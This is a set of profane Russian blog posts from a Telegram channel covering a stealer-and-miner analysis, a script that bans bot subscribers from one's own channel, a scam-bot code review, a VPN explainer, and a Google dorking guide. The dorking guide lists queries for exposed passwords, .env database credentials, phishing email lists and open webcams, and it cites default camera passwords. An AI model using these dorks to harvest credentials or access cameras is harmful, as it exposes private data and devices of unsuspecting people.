Никита

Разбор Horizon

2025-04-29T21:06:29.665Z

Приветствую, на связи админ канала Falcon Bytes. Недавно, лазив по телеге, наткнулся на одном из каналов очередной шедеврософт, насколько он оригинальный судить сложно, но если я его нашел - найдет и кто-то другой. Приступим к разбору.

Распаковка и анализ

Для начала распакуем архив и взглянем на файлы:

Посмотрим содержимое "Launcher.bat":

Наблюдаем типичный, для chatgpt комментарии к коду. Идем дальше.

Посмотрим, что лежит в "Horizon.py":

Наблюдаем максимально нищую обфускацию через тг бота. К этому файлу вернемся позже.

Посмотрим, что лежит в папке "Bin":

Здесь видим типичные файлы, которые генерирует pyinstaller. Меня же заинтересовал этот файл:

Откроем его в текстовом редакторе (в моем случае vscode):

Обнаруживаем, что это обычный Python скрипт. Рассмотрим его детальнее.

Наблюдаем крайне интересные переменные. Для чего же они в "софте для пробива"?

Даже самый конченый дегенерат взглянув на эти названия поймет, что его наебали, и в этом говне далеко не "божественный софт для докса".

Посмотрим, что закодировано в этих строках:

Раскодируем через моего божественного бота (да, это реклама)

C2:

Mutex:

С переменной "mutex" пока мало что ясно, однако о C2 можно сказать немного больше. Если вы когда-либо создавали телеграм ботов или работали с Telegram API, вам должно быть знакомо, как выглядят токены телеграм ботов.

Раскодированная строка C2 выглядит как начало типичного токена телеграм бота. Поскольку в токенах не бывает спец символов (в нашем случае доллара $), то просто возьмем первую часть строки. И проверим валидность токена в том же прекрасном боте (да, снова реклама):

Нихуя себе! Это таки был токен бота, и нихуя себе! Токен валидный. Вторая часть строки (после знака $) ничто иное, как айди чата, куда, как я полагаю отправляются логи мамонтов, которые запустили данный шедеврософт.

Я поставил на этот бот простой логгер, перехватывающий все его сообщения. На момент написания этого поста, никаких логов поймать не удалось. Читаем код дальше:

Здесь мы видим список блеклист параметров, при котором стиллер не запустится. Он нужен для того, чтобы если кто-то зальет стиллер на virustotal, стиллер не запустился на их песочнице.

Кроме того, есть проверка, является ли компьютер, на котором запустили стиллер хостингом (тоже обнаружение песочниц для анализа малварей)

Здесь тоже типичный для стиллера функционал.

Здесь видим функцию снимка веб камеры

Убийство процессов на компе.

В общем, вы поняли, что из себя представляет этот скрипт. Ничего хорошего он не несет

Сама отправка лога в телеграм. Как вы поняли, ничего хорошего этот скрипт не несет.

Кроме того, меня заинтересовал файл "start.pyw"

Текстовый редактор много информации не дал, зальем его на вирустотал, и посмотрим:

28 детектов о чем-то да говорит, а конкретнее о том, что нас с вами где-то наебали

Теперь стало ясно, почему текстовый редактор ничего нам не дал. Использовался протектор themida.

Видим, что при анализе файла, отправлялся запрос на pastebin. Проверим что там:

Проанализировав ссылку в параметре pool, использовав бота, можно понять, что она ведет на сайт по майнингу криптовалюты:

Это означает, что кроме стиллера, счастливчик еще и получает майнер на компьютер. Если посмотреть на другие свойства файла, можно обнаружить, что такой же стиллер был и в другом софте:

Думаю, некоторые из вас тоже знают об этом туле.

Даже, если не копать глубоко, а просто просмотреть информацию, которую нам дает сам вирустотал, можно увидеть, что исполняемый файл обменивается запросами с крипто майнинговым пуллом:

Ну а теперь перейдем к тому самому обфусцированному скрипту, который мы увидели в самом начале. Если вам лень скроллить статью наверх, напомню:

Что же нам делать с такой мощной обфускацией? Дело в том, что питон - интерпретируемый язык. В отличие от C++, питон не может просто так быть скомпилирован. Это значит, что невозможно защитить код от чтения, любая обфускация - просто запутывание и усложнение чтения, но при должной усидчивости и умении можно раскрыть ЛЮБУЮ обфускацию.

Немного отредактируем код:

Перенесем на новую строку часть, с exec, уберем exec, и сохраним закодированную строку в переменную govnocode

Посмотрим же, что у нас сохранилось в переменной простым print:

Понимаем, что создатель обфускатора аутист, и не удосужился даже собирать бинарный файл питона, перед оборачиванием его в marshal.

Сохраним содержимое строки в новый файл "govnocode.py":

Откроем создавшийся файл и смотрим результат:

Нас приветствует шикарнейшее ссанье в глаза и наеб:

В то время, как наивный школьник будет думать, что скрипт подключается к базе данных, на деле же запускается стиллер, который начисто пиздит все полезное и ценное с его компа. Файл "C2" мы рассматривали выше.

Это я даже комментировать не хочу.

Выводы

В итоге при покупке данного софта мы получаем:

Наеб
Нерабочий скрипт
Спизженные аккаунты
Скриншоты рабочего стола и спизженные файлы
Сдохшую видеокарту/комп из-за майнера
Проебанные деньги
Потерянное достоинство

Отсюда мораль - не покупайте и не качайте софты от бомжей, которым не доверяете, а даже если доверяете - учитесь еще и проверять. Используйте виртуальные машины и думайте головой.

На связи был админ канала Falcon Bytes, надеюсь пост был полезен.

Чистим накрутку

2025-04-04T22:47:46.194Z

Приветствую! На связи админ канала Falcon Bytes! После долгого отсутствия наконец выкладываю этот пост об очистке накрутки. Приступим!

Накрутка - это когда на ваш ресурс тем или иным образом за короткое время переходит большое количество пользователей. Цель накрутки может быть разная. В этом посте мы рассмотрим случай, когда на ваш телеграм канал какой-то бомж накрутил подписчиков без вашего ведома с целью сноса вашего канала или просто чтобы насолить. И то и другое для нас нежелательно, поэтому перейдем к решению проблемы.

Как мы будем это делать?

Для решения нашей задачи мы будем использовать мозги, яп python, и несколько библиотек под него.

Если с момента накрутки вашего канала прошло меньше 48 часов, то лог всех входов можно увидеть открыв вкладку "недавние действия" в настройках канала.

При помощи модуля "telethon" мы будем открывать логи канала через скрипт, что позволит нам программно найти и отфильтровать ID накруточных ботов по времени.

После того, как мы спарсили всех ботов, мы сохраняем это все в список, в нашем случае это будет обычный текстовый файл, и затем при помощи телеграм бота забаним все айди из этого списка.

Почему не забанить при помощи того же Telethon?

Да потому, что телеграм накладывает ограничение на количество забаненных пользователей от аккаунта. Вы сможете забанить максимум 100 ботов, после чего телега вас пошлет нахуй минимум на 2 минуты. И 2 минуты - это только начало, при последующих попытках время ограничения будет только увеличиваться. У ботов же это ограничение наступает куда позднее, что и позволит нам за короткое время очистить много ботов.

С теорией разобрались, приступим к практике.

Если вы совсем раньше не работали с API телеграма, вам понадобится получить API_ID и API_HASH для вашего аккаунта.

Переходим по ссылке: https://my.telegram.org/auth?to=apps

Вводим номер, вводим код, который пришел на наш аккаунт

Если вы делаете это в первый раз, у вас появится такая страница:

Скрин спизжен. Извиняться за него не буду

Вводим случайное уникальное название в App title, заполняем short name, затем нажимаем "Create application". В некоторых случаях телеграм может послать вас нахуй и вместо желаемых ключиков появится какая-то поебота с ошибкой. Универсального решения нет. Просто ебите кнопку,меняйте названия, повторяйте попытку позже, колдуйте над сайтом, пока не получится.

Еще вы можете на гитхабе посмотреть официальное приложение Telegram и спиздить оттуда уже готовые официальные ключи ~~(нахуя вам этот пост, если вы такое умеете?)~~

Если у вас все получится, вас должна приветствовать такая страница:

И да. Теперь все картинки придется делать с вотермаркой. Благодарите за это бомжей из лолза, которые пиздят статьи.

копируем эти данные и записываем в файл config.py

Теперь напишем мини-скрипт, который генерирует ключ, по которому можно легко получить доступ к аккаунту. Почему не обычную сессию использовать? Потому, что обычные файлы сессии долгие, с ними часто проблемы и вообще это говнище.

from telethon import TelegramClient
from telethon.sessions import StringSession

import config
import asyncio

api_id = config.api_id
api_hash = config.api_hash


async def main():
    client = TelegramClient(
        "zalupa", 
        api_id, 
        api_hash
        )
    
    await client.start()
    print("[+] Connected successfuly")

    string_session = str(StringSession.save(client.session))
    
    print(f"String session: {string_session}")


if __name__ == '__main__':
    asyncio.run(main())

При запуске этого скрипта у вас спросит номер телефона от аккаунта, с которого вы будете парсить, затем попросит код подтверждения и пароль, если он активен.

Если все прошло успешно, Скрпт вам выдаст вашу стринг сессию. Ее мы запишем прямо в конфиг:

ВАЖНО: Старайтесь не использовать свой основной аккаунт для подобных операций, особенно, если на вашем аккаунте есть что-то ценное. В последнее время телеграм ебашит аккаунты от любого чиха. Поэтому использование скрипта на непрогретом аккаунте, или на том, который куплен может с небольшим шансом снести его, посему используйте виртуальные аккаунты. Я знаю, они у вас есть.

Теперь сохраняем полученную стрингу в config.py:

Добавьте аккаунт, сессию которого получили в администраторы вашего канала, мы могли в дальнейшем просматривать историю вступлений со скрипта.

Продолжаем подготовку.

Теперь нужно получить айди канала, который будет чиститься

Чтобы получить айди, можно включить параметр в расширенных настройках. Это будет выглядеть примерно так:

Теперь вы с легкостью сможете получить айди канала.

Айди не должен начинаться с -100. Если у вас так, то просто удалите "-100" из числа

channel_id = 1488228 #замени на свой

Теперь последний шаг. Получим токен бота.

Переходим в @BotFather
Пишем /newbot
Назначаем боту имя
Устанавливаем боту юзернейм (должен быть уникальным) с припиской _bot
Полученный токен копируем

Создадим в конфиге переменную, в которой будет храниться время в часах, за которое зашли боты. В моем примере будет использоваться 2 часа, но вы можете ввести 48 часов, тогда вы получите все логи.

В результате окончательный вариант конфиг файла будет выглядеть так:

api_hash = 'govno123boobs'
api_id = 1488
session = "стрингсессиия="

bot_token = "614880:Aтокенбота0"

channel_id = 1488228

hours_filter = 2

Теперь приступим к первой части скрипта, а именно к парсеру ботов.

Создадим файл ids_parser.py

Импортируем библиотеки и конфиг:

from telethon import TelegramClient   #для работы с клиентом
from telethon.sessions import StringSession # для конвертации стринги

import datetime # для работы со временем
import asyncio # для работы с аскинхронными функциями

from rich import print # для пиздатого вывода текста в терминал

import config # важные значения

Теперь создадим асинхронную функцию и сделаем подключение к аккаунту:

async def main():
    client = TelegramClient(
        StringSession(config.session), 
        config.api_id, 
        config.api_hash
        )
    await client.connect()
    me = await client.get_me()

Разберем подробнее:

client = TelegramClient(
StringSession(config.session),
config.api_id,
config.api_hash
)

Инициализирует класс из библиотеки telethon для работы с аккаунтом. Для него нужно указать сессию, api_id и api_hash, что мы собственно и делаем. Там также есть необязательные параметры, о которых вы можете подробнее прочитать здесь.

После чего выполняется команда connect, для подсоединения к уже авторизованному аккаунту и get_me, для получения информации о аккаунте (айди, имя и т д)

Теперь получим объект нашего канала, чтобы можно было с ним проводить дальнейшие манипуляции. Это можно представить себе как если бы вы просто руками открыли список диалогов и выбрали бы ваш канал:

    await client.get_dialogs()
    channel_peer = await client.get_entity(config.channel_id2)

    result = client.iter_admin_log(
        entity=channel_peer,
        join=True,
    )

Также мы указали параметр join=True, этот параметр отвечает за фильтр (только входы) это было бы аналогично:

Теперь откроем текстовый файл и зарезервируем переменную, в которую будем сохранять список айди ботов:

ids_file = open("ids.txt", "a+", encoding= "utf-8")
ids = []

Параметр "a+" отвечает за то, чтобы текстовый файл открылся и дописывался при действиях.

Теперь добавим обработку ботов:

async for i in result:
    join_date = i.date
    user_id = i.user_id

    start_time = datetime.datetime.now(tz=datetime.timezone.utc) - datetime.timedelta(hours=config.hours_filter)
    time_now = datetime.datetime.now(tz=datetime.timezone.utc)
        
    if start_time <= join_date <= time_now:
        if not user_id in ids:
            if not user_id == me.id:
                ids.append(user_id)
                print(f"[{len(ids)}] Added userid [bold]{user_id}[/bold] who joined at [bold]{join_date}[/bold]")

Здесь мы проходимся по каждому элементу, который мы ранее сохранили при получении админ лога results

Для удобства сохраняем время входа пользователя в join_date и его айди в user_id

Теперь считаем предполагаемое время старта накрутки:

start_time = datetime.datetime.now(tz=datetime.timezone.utc) - datetime.timedelta(hours=config.hours_filter)

Здесь мы берем текущее время, и от него отнимаем 2 часа, которые мы указали ранее. Просто отнять число нельзя, так как это времена. Для этого используется timedelta.

Например, если предположить, что текущее время: 04.04.2025 12:03, то время в start_time будет: 04.04.2025 10:03

Для удобства сохраним текущее время в time_now.

Теперь все, что нам остается сделать - это проверить, находится ли время входа в промежутке между стартом накрутки (за 2 часа до текущего времени)

Также нам нужно проверить, не является ли найденный айди нашим, иначе в противном случае мы сами же себя захуярим при бане ботом.

Если время совпадает, сохраняем айди этого пользователя в список.

Теперь все, что остается сделать, это сохранить полученные айди в текстовый файл:

for user_id in ids:
    ids_file.write(f"{user_id}\n")
    
print(f"Total: {len(ids)}")

ids_file.close()

По окончанию процесса закрываем файл при помощи ids_file.close()

Добавляем код, запускающий асинхронную функцию и получаем такой результат:

from telethon import TelegramClient
from telethon.sessions import StringSession

import datetime
import asyncio

from rich import print

import config



async def main():
    client = TelegramClient(
        StringSession(config.session), 
        config.api_id, 
        config.api_hash
        )
    await client.connect()

    me = await client.get_me()

    await client.get_dialogs()
    channel_peer = await client.get_entity(config.channel_id2)

    result = client.iter_admin_log(
        entity=channel_peer,
        join=True,
    )


    ids_file = open("ids.txt", "a+", encoding= "utf-8")

    ids = []

    async for i in result:
        join_date = i.date
        user_id = i.user_id

        start_time = datetime.datetime.now(tz=datetime.timezone.utc) - datetime.timedelta(hours=config.hours_filter)
        time_now = datetime.datetime.now(tz=datetime.timezone.utc)
        
        if start_time <= join_date <= time_now:
            if not user_id in ids:
                if not user_id == me.id:
                    ids.append(user_id)
                    print(f"[{len(ids)}] Added userid [bold]{user_id}[/bold] who joined at [bold]{join_date}[/bold]")

    for user_id in ids:
        ids_file.write(f"{user_id}\n")

    print(f"Total: {len(ids)}")

    ids_file.close()



if __name__ == '__main__':
    asyncio.run(main())

Теперь все, что нам остается сделать - запустить этот код. Если вы не проебланили и настроили питон правиильно, то скрипт успешно сохранит айди ботов в файл.

При запуске получится примерно так:

Как видите, в моем примере скрипт насчитал 22002 бота.

Пол дела уже сделано. Теперь осталось только очистить этот высер с канала.

Напишем мини-модуль, который будет отвечать за удаление юзеров с канала

import asyncio
from aiogram import Bot
import datetime
from rich import print
from aiogram.exceptions import TelegramRetryAfter


def chunk_list(input_list, chunk_size):
    """
    Разбивает список на чанки заданного размера.

    input_list: list - список, который нужно разбить
    chunk_size: int - размер чанка

    Возвращает: list[list] - список чанков
    """
    return [input_list[i:i + chunk_size] for i in range(0, len(input_list), chunk_size)]



class Kicker:
    def __init__(self, token):
        self.bot = Bot(token=token)
    
    async def kick_users(self, chat_id: int, users_to_kick: list[int], timeout: int = 1, chunk_size: int = 200):
        """
        chat_id: int id where to kick users
        users_to_kick: list[int] list userids to kick
        """
        u = datetime.datetime.now() + datetime.timedelta(minutes=1)

        async def banuser(userid):
            while True:
                try:
                    await self.bot.ban_chat_member(
                        chat_id=chat_id,
                        user_id=userid,
                        until_date=u
                    )
                    print(f'[+] Kicked successfully: [bold]{userid}[/bold] from [bold]{chat_id}[/bold]')
                    break  
                except TelegramRetryAfter as e:
                    print(f'[!] FloodWait! Sleeping for {e.retry_after} seconds before retrying...')
                    await asyncio.sleep(e.retry_after)  
                except Exception as e:
                    print(f'[!] Error kicking user {userid}: {e}')
                    break  

        chunks = chunk_list(users_to_kick, chunk_size)

        for chunk in chunks:
            await asyncio.gather(*[banuser(userid=userid) for userid in chunk])
            print(f"Chunk done, sleeping for [bold]{timeout}[/bold] seconds...")
            await asyncio.sleep(timeout)

Пройдемся по основным моментам:

Для быстрого удаления юзеров мы будем использовать такую конструкцию:

await asyncio.gather(*[banuser(userid=userid) for userid in chunk])

Почему не использовать обычный for-цикл? Потому,что это долго, а у нас 22к говна.

Представленная конструкция, в отличии от for цикла, запускает кик пользователя паралельно сразу большую пачку. Размер пачки: 200 пользователей.

for цикл запускал бы по очереди бан каждого и ждал бы выполнения, asyncio.gather сразу запускает все функции одновременно, что и обеспечивает высокую скорость выполнения.

Как вы могли заметить, мы не закидываем в asyncio.gather сразу все 22к пользователей, а делим их на пачки (чанки). Это сделано по той простой причине, что телеграм увидев запрос от бота на бан 22к пользователей на свой сервер знатно прихуеет и пошлет нас нахуй. Кроме того, для того, мы используем тайм аут в 1 секунду, когда забаним каждых 200 пользователей.

Кик в понимании телеграма - это бан пользователя на 1 минуту. Таким образом даже если мы случайно забаним реального пользователя, он сможет вернуться на канал через какое-то время.

Также в коде предусмотрено повторение попытки, если телега послала нас нахуй за флуд:

В этой функци мы прямо из самой ошибки получаем количество секунд, которые нужно подождать перед отправкой новой пачки запросов.

Все это помещено в цикл while True. Break прерывает выполнение этого цикла, и происходит при неизвестной ошибке или при удачном бане пользователя. В случае ошибки тайм аута - скрипт просто подождет нужное количество секунд и повторит попытку.

Модуль дописали, пора бы и очистить канал.

Напишем мини-скрипт запуска кика, в котором укажем, откуда должны быть прочитаны айди и в каком чате должны быть забанены пользователи.

from kicker import Kicker

import asyncio
import config

kicker = Kicker(token=config.bot_token)

async def main():
    raw_ids = open("ids.txt", "r", encoding= "utf-8").readlines()

    users_list = [int(i.replace("\n", "")) for i in raw_ids]

    await kicker.kick_users(
        chat_id=int(f"-100{config.channel_id}"),
        users_to_kick=users_list,
    )

asyncio.run(main())

У ботов немного по другому представлены айди чатов. Все они начинаются с -100, поэтому один из способов конвертировать айди канала - использовать эту конструкцию:

chat_id=int(f"-100{config.channel_id}")

В этой строке мы берем сырой текст, взятый из текстового файла и удаляем в нем лишние переносы знаков. Решение не самое лучшее, но для масштабов нашего скрипта этого более чем достаточно

users_list = [int(i.replace("\n", "")) for i in raw_ids]

Теперь все, что нам остается сделать - добавить бота в администраторы канала и выдать ему права на бан пользователей.

На примере у меня был такой канал:

Видим большое количество накрутки. Запускаем скрипт:

Смотрим в логи канала:

Наблюдаем удачную работу бота. Итого, он забанил больше 20к пользователей менее чем за 5 минут

Получаем результат:

Вы можете улучшить этот скрипт и добавить в него много нового.

Заключение

Теперь у вас в арсенале есть уверенный и быстрый скрипт для очистки высеров малолетних обиженных говноедов за короткое время.

Если эта статья была вам полезна — не забудьте поделиться этим постом с друзьями. Оставляйте свой фидбек в комментариях, это помогает каналу.

На связи был админ канала Falcon Bytes. Еще увидимся!

Основы Доркинга

2025-01-02T20:07:18.282Z

Приветствую! На связи админ канала Falcon Bytes! Сегодня мы поговорим о базовых навыках гугл доркинга. Приступим!

Google Dorking - это расширенное применение операторов поиска Google - использование операторов поиска Google для поиска определенных уязвимых устройств, уязвимых файлов, конфиденциальных данных и так далее через определенные строки поиска.

По сути в гугле есть специальные операторы, которые нужны для более точного поиска. Например, если в запросе выделить слово или фразу в двойные кавычки: ", то гугл выдаст нам все сайты, где точно есть слово, которое вы указали в кавычках. Так вот. Очень хуевые программисты или администраторы иногда плохо настраивают свои сайты, что позволяет поисковым роботам находить разные критические данные, которые не должны быть в открытом доступе.

Используя дорки по сути, мы можем найти в интернете открыто файлы журналов, паролей, списки электронной почты и т.д.

Какие вещи лохи подключают к интернету?

Вы будете поражены тем, что можно найти подключенным и лежащим в интернете. Все, от контроллеров до ядерных станций. К счастью, люди принимают меры безопасности в связи с ростом угроз безопасности.

Так как же это относится к вам? Представьте себе новый дом с камерами безопасности или умными IoT-устройствами, которые дают возможность управлять всем через ваш телефон, когда вы захотите. Вы устанавливаете их, подключаете к Wi-Fi и можете управлять всем.

То, что происходит в фоновом режиме, не так просто. Устройства обращаются к серверу, расположенному в интернете, и передают видео и данные в режиме реального времени, позволяя вам контролировать. Этот сервер может не требовать пароля для доступа к файлам с вашего сервера, чтобы они могли получить доступ к файлам, делая ваш умный дом доступным для любого, кто ищет текст через сервер.

А Google просто идет и находит все устройства, подключенные к интернету. Приступим же.

Поиск FTP-серверов и веб-сайтов с помощью HTTP

Для начала мы будем использовать следующий запрос для поиска открытых FTP-серверов. Поиск этих серверов может позволить нам найти внутренние файлы и данные, как показано ниже:

intitle:"index of" inurl:ftp
intitle:"index of" inurl:http

Эти серверы являются публичными, потому что индексный файл их FTP и HTTP-сервера - это то, что Google любит сканировать и индексировать - факт, о котором многие люди склонны забывать. Сканирование Google приводит к тому, что полный список всех файлов, содержащихся на сервере, становится общедоступными.

Если мы хотим начать атаковать некоторые хакерские цели, мы можем быть более конкретными и искать онлайн-формы, все еще использующие HTTP, изменив текст в заголовке поиска.

intitle:"forum" inurl:http inurl:"registration"

Здесь вы можете видеть, что мы нашли список уязвимых онлайн-форумов, использующих HTTP, которые могут быть легко взломаны и скомпрометированы.

Поиск файлов журнала с паролями и именем пользователя

Теперь мы будем искать файлы типа .log. Поиск LOG-файлов позволит нам найти подсказки о том, каков пароль имени пользователя к системным или администраторским учетным записям.

Для этого мы будем использовать подобный запрос.

allintext:password filetype:log
allintext:username filetype:log

С помощью этих дорков можно легко найти имена пользователей и пароли для взлома.

Поиск файлов конфигурации с паролями

Конфигурационные файлы никогда не должны быть общедоступными, но люди никогда этому не учатся. Файлы ENV - лучший тому пример. Если мы выполним поиск по ENV, которые содержат строку имени пользователя и пароля, мы мгновенно найдем эти учетные записи. Именно так хакеры делают утечки списков имен пользователей и паролей.

filetype:env "DB_PASSWORD"

Перейдем на один из результатов:

Поиск списков адресов электронной почты в интернете:

Списки адресов электронной почты - это отличный способ сбора адресов электронной почты для фишинговых и других кампаний, используемых хакерами. Такие списки часто попадают в руки компаний или учебных заведений, которые пытаются организовать списки электронной почты для своих членов, но забывают обеспечить даже самую элементарную безопасность.
Код:

filetype:xls inurl: "email.xls"

Найти открытые камеры
Если вы думали, что Shodan - это страшно, то вы ошибались. Google еще страшнее. Страницы входа и просмотра камер обычно имеют формат HTTP, а значит, Google всегда их индексирует.

Одним из распространенных форматов поиска веб-камер является поиск "top.htm" в URL, как показано ниже:

inurl:top.htm inurl:currenttime

Хотя вы можете легко просматривать камеры, как это сделал я, без пароля; многие лохи ищут страницы входа в веб-камеры, на которых есть известный пароль по умолчанию. Эта тактика незаконна, поскольку вы вошли в систему, используя пароль, она позволяет легко получить доступ ко многим веб-камерам, не предназначенным для публичного просмотра. Это означает, что вы можете шпионить за людьми и находить вещи, которые не должны быть найдены.

admin и 12345 - самые распространенные пароли для взлома веб-камер, найденные с помощью Google Dorking.

Ниже я подготовил еще небольшой список запросов, которые нашел в интернете:

intitle:"index of /" Parent Directory site:anysite.com - находим папки, позволяющим просматривать их содержимое, для конкретного сайта (anysite – любой ваш сайт)
intitle:"index of /" Parent Directory - поиск любых сайтов, которые позволяют просматривать содержимое папок ( intitle:"index of /" )
intitle:"Index of /admin" - поиск любых сайтов с открытой для просмотра папкой admin
intitle:"Index of /password" - поиск открытых папок password на любом сайте, если нужно для определенного – в конце добавляем site:anysite.com
filetype:log - поиск логов на сайтах
"# Dumping data for table" - поиск дампов баз данных
filetype:inc intext:mysql_connect – поиск паролей подключения к базам данных
inurl:ftp:// "Index of" - поиск FTP серверов
(filetype:xls OR filetype:xlsx) inurl:password - поиск документов с паролями
inurl:10000 webmin - с помощью inurl: вы можете искать сайты, хосты, использующие определённые порты. Чтобы сократить количество ложных результатов, можно указывать имя службы на этом порту

Поиск веб-камер:

inurl:/view/viewer_index.shtml
inurl:jpegpull.htm
inurl:"mjpg/video.cgi?resolution="
inurl:control/camerainfo
intitle:"webcamXP 5" -download
inurl:/mjpg/video.mjpg

На связи был админ канала Falcon Bytes. Еще увидимся

Не давайте бомжам себя обмануть

2024-11-09T23:00:09.252Z

Приветствую! На связи админ канала Falcon Bytes! Думаю многие из вас видели кучу ботов по продаже различных услуг вроде продажи говнософта или манясносу. Прайсы у такого говна очень часто высокие. И сейчас же я вам покажу отличный пример подобного бота, который был вынут из аккаунта бомжа. Я разберу код бота и дам вам базовые советы, как делать нужно или не нужно.

Приступим к разбору.

Бот позиционировался как репортер на каналы с целью их удаления с телеграма.

Начнем с того, что весь код бота написан в одном нахуй меин файле. Не делайте так. Разбивайте вашего бота на модули. Хендлеры делайте в отдельных файлах. Это повысит читаемость вашего кода и также делает его удобным для модифицирования и починки в случае ошибок. Также база данных

Для начала смотрим на охуеннейшие библиотеки телебоб))00)

Если вы хотите сделать своего бота, то умоляю вас, не используйте эту нищенскую синхролнную библиотеку telebot. Это самая говнищная библиотека для управления ботами. А все потому, что она синхронная. В общих чертах это значит, что пока бот не обработает команду одного человека, другому человеку он не ответит. Это значит, что если у бота будет какое-то прерывание, или он будет перегружен, то он будет работать нестабильно. Вместо телебота используйте Aiogram. Просто разберитесь немного как эта библиотека работает, и у вас будет максимально стабильный и удобный бот.

Теперь посмотрим на следующую функцию, которая, как я полагаю, проверяет есть ли подписка у пользователя.

Здесь настолько много пиздеца, что это даже объяснить трудно. как минимум глобалки в функции. Это что вообще блядь такое?

Никогда, слышите, НИКОГДА НЕ ИСПОЛЬЗУЙТЕ ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ В ФУНКЦИЯХ.

Никогда не используйте русский текст в ключах словарей, вы можете использовать кириллицу только в случаях, если это какой-то текст, который программа будет выводить на экран или же в комментариях к вашему коду.

Едем дальше.

Здесь, как я полагаю, хранятся промокоды в боте. Не делайте так в меине. Как минимум создайте отдельный .py файл, где записаны все эти промокоды и в главном коде импортируйте просто из этого файла. Но лучше всего сделайте отдельную таблицу в базе данных. Это будет лучше и правильнее всего.

Не делайте так. Храните токен бота как минимум в config файле. Если вы сделали переменную channel_id, то это должно быть числовое значение, а не строка. Если у вас два канала, то храните все значения каналов хотя-бы в списке.

Здесь нахуя-то делается переменная "nah", которая нигде не используется. Принты тоже бесполезные. Вместо принтов для отладки используйте логгирование. Самая простая библиотека - logging. Это встроенная базовая библиотека. Более красивая и продвинутая библиотека - это loguru.

Для добавления инлайн кнопок сделайте отдельную функцию. Не делайте этого в хендлере.

Опять блядские глобалки. О них я вам уже говорил.

Нахуя делать такой цикл, если можно просто:

for i in users:

Очередная неиспользуемая переменная и бесполезные принты непонятно-какой хуйни.

Ну вот опять сука. Ни форматирования, нихуя. Очередные глобальные переменные со всратыми названиями.

f строка которая нахуй не нужна, потому, что в нее никакие данные не вставляются. Очередная глобалка, очередные переменные, которые нигде не использованы.

Функции, которые делают ровно одно и то же. Зачем так делать?

Прошу обратить внимание на названия переменных.

Не используйте ебнутые названия для переменных. Особенно если переменная называется "ahyel"

И такого говна там очень много.

Невъебенная защита своего же канала от несуществующих жалоб.

"ЫЫЫ ГЛОБАЛКА ЩА НАЕБЕНЮ ГЛОБАЛОК БУДУ КРУТЫМ ПРАГРАМИСТОМ ЫЫЫ ГЛАБАЛКА ЫЫЫЫЫЫЫЫ"

Крайне полезные комментарии к функции.

Теперь посмотрим на сам функционал нашего невъебического сноса.

Чтобы сделать этот кал более читаемым, я отформатирую код.

В этом и заключается весь функционал "сноса". Для тех, кто не понял, бот тупо изменяет сообщение, в котором происходит имитация отправки жалоб. То есть блядь кроме визуальной поебени бот не делает тупо нихуя.

Он по таймауту в 4, 2 и 0.6 секунд изменяет сообщение.

Это мне напомнило скрипты на термуксе от индусов, в которых делалась строка загрузки. Там по таймауту через принт выводилось: "Loading 10%..." в них очищался экран, и через паузу обновлялся процент через print.

По сути бот является наебом, он ничего не делает и не сделает. Разработчик этого говнища просто кидает своих пользователей на бабки.

С таким же успехом вы можете побиться башкой об стену. Это принесет даже больше результата, чем эта поебень.

Код этой поебени будет выложен на гитхабе. Используйте это как пример, как делать не нужно

https://github.com/lamer112311/govnobot

Вывод

Не пользуйтесь ботами, которые писали рукожопы-манядоксеры. Почти любой проект, который создают школодоксеры - это либо наеб, либо какой-то кал по оверпрайсу. Пишите адекватные проекты на нормальных библиотеках и не занимайтесь всякой хуйней, вроде доксинга или сваттинга.

На связи был админ канала Falcon Bytes. Еще увидимся

Что видит провайдер при подключении к VPN

2024-10-24T21:45:59.426Z

На связи админ канала Falcon Bytes! Думаю ни для кого не секрет, что интернет провайдеры сотрудничают со спецслужбами и ведут логи. Однако до момента, пока вы действительно не совершите противоправные действия в Интернете, следить за вами никто не будет. В сегодняшней статье вы узнаете, что видит интернет провайдер, когда вы включаете VPN.

В основном к VPN подключаютсячтобы обезопасить свое соединение. Но давайте выясним, что же видит ваш интернет провайдер при подключении к виртуальной частной сети.

Что увидит провайдер при VPN-подключении:

Провайдер увидит подключение к VPN-серверу, однако он не будет знать, что именно вы делаете в сети, так как информация будет зашифрована.
Провайдер сможет увидеть, что от пользователя исходят данные к серверу VPN, но дальнейший маршрут пакетов данных, он отследить не сможет.
Провайдеру будет виденобъем принятой и отправленной информации, но не ее содержание.
Время соединения: провайдерувидит, когда вы подключились к интернету и вышли из сети.
Протоколы и портыVPN: провайдер поймет, что используется VPN, поскольку будут задействованы порты и протоколы, которые характерны для виртуальных частных сетей.

Ваш интернет провайдер знает, когда вы используете VPN. Однако он не знает веб-сайты, к которым вы обращаетесь, и что конкретно делаете в сети. Таким образом, использование VPNявляется прекрасным способом помешать интернет провайдеру просмотреть вашу онлайн-активность.

Приблизительный пример лога,который будет у провайдера:

2024-10-24 14:00:00 | IP: 192.168.1.100 | Destination: 198.51.100.1 (VPN Server) | Protocol: UDP | Port: 11940

Пример лога в котором будет видно общий объем передачи и приема данных

2024-10-24 14:00:00 | IP: 192.168.1.100 | Download: 500MB | Upload: 200MB

Провайдер фиксирует, когда вы начали и закончили VPN-сессию

2024-10-24 14:00:00 | Start VPN Session | IP: 192.168.1.100 | VPN IP: 198.51.100.1
2024-10-24 15:30:00 | End VPN Session | IP: 192.168.1.100 | VPN IP: 198.51.100.1

Провайдер может определить тип впн протокола, который вы используете. Например OpenVPN, IKEv2, Wireguard. Зная это провайдер может блокировать подобные соединения.

Грубо говоря это будет выглядеть так:

2024-10-24 14:00:00 | IP: 192.168.1.100 | VPN Protocol: OpenVPN | Port: 1194

Провайдер не видит содержания вашего трафика, так как оно зашифровано, но он может использовать определенные алгоритмы, чтобы определить тип шифрования, и если он будет типичен для VPN, он сможет это заблокировать.

Что провайдер не видит:

Конечные точки, на которые выпереходите. Это могут быть сайты, веб-приложения и многое другое.
Запросы и параметры в URL. Как я уже говорил, видно только шифрованные пакеты

Провайдер может иметь список IP-Адресов популярных VPN сервисов и добавлять их в черный список, также он может замедлять подобные подозрительные соединения, как это происходило, например, с ютубом.

Правоохранительные органы могут отправить соответствующие запросы в VPN сервисы с целью узнать большеинформации о их цели, например при розысках. Именно поэтому очень важно, когда сервис ведет политику без логов, так как он не может отказать полиции,в случае, если у нее есть соответствующие разрешения, например ордер. Политика без логов означает, что впн сервис не хранит данных о вашем трафике,который проходил через их сервера. В отличие от провайдера, который по закону обязан хранить лог минимум 30 дней, VPN сервисы не обязаны хранитьникакой информации.

Как пример можно взять довольно распространенную историю о том, что компанию Mullvad обыскивала полиция, однако ничего не обнаружила.

